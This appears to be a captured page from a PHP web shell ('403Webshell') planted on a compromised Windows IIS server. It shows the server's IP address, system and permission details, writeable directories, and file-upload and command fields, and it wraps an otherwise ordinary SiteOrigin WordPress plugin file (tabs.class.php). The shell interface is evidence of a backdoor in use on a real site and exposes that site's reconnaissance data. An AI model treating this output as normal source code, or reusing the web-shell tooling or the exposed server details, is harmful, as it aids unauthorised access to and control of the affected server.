403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/ict/wp-content/plugins/so-widgets-bundle/base/inc/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/ict/wp-content/plugins/so-widgets-bundle/base/inc/fields/tabs.class.php
<?php

/**
 * Class SiteOrigin_Widget_Field_Tabs
 */
class SiteOrigin_Widget_Field_Tabs extends SiteOrigin_Widget_Field_Base {
	/**
	 * The list of options which may be selected.
	 *
	 * @access protected
	 * @var array
	 */
	protected $tabs;

	protected function render_field( $value, $instance ) {
		if ( empty( $this->tabs ) ) {
			return;
		}
		?>
		<ul class="siteorigin-widget-tabs" <?php if ( count( $this->tabs ) == 1 ) echo 'style="display: none;"'; ?>>
			<?php
			foreach( $this->tabs as $id => $tab ) {
				?><li data-id="<?php echo esc_attr( $id ); ?>"><?php echo esc_html( $tab ); ?></li><?php
			}
			?>
		</ul>
		<?php
	}

	protected function sanitize_field_input( $value, $instance ) {
		return;
	}

	function enqueue_scripts() {
		wp_enqueue_script( 'so-tabs-field', plugin_dir_url( __FILE__ ) . 'js/tabs-field' . SOW_BUNDLE_JS_SUFFIX . '.js', array( 'jquery' ), SOW_BUNDLE_VERSION );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit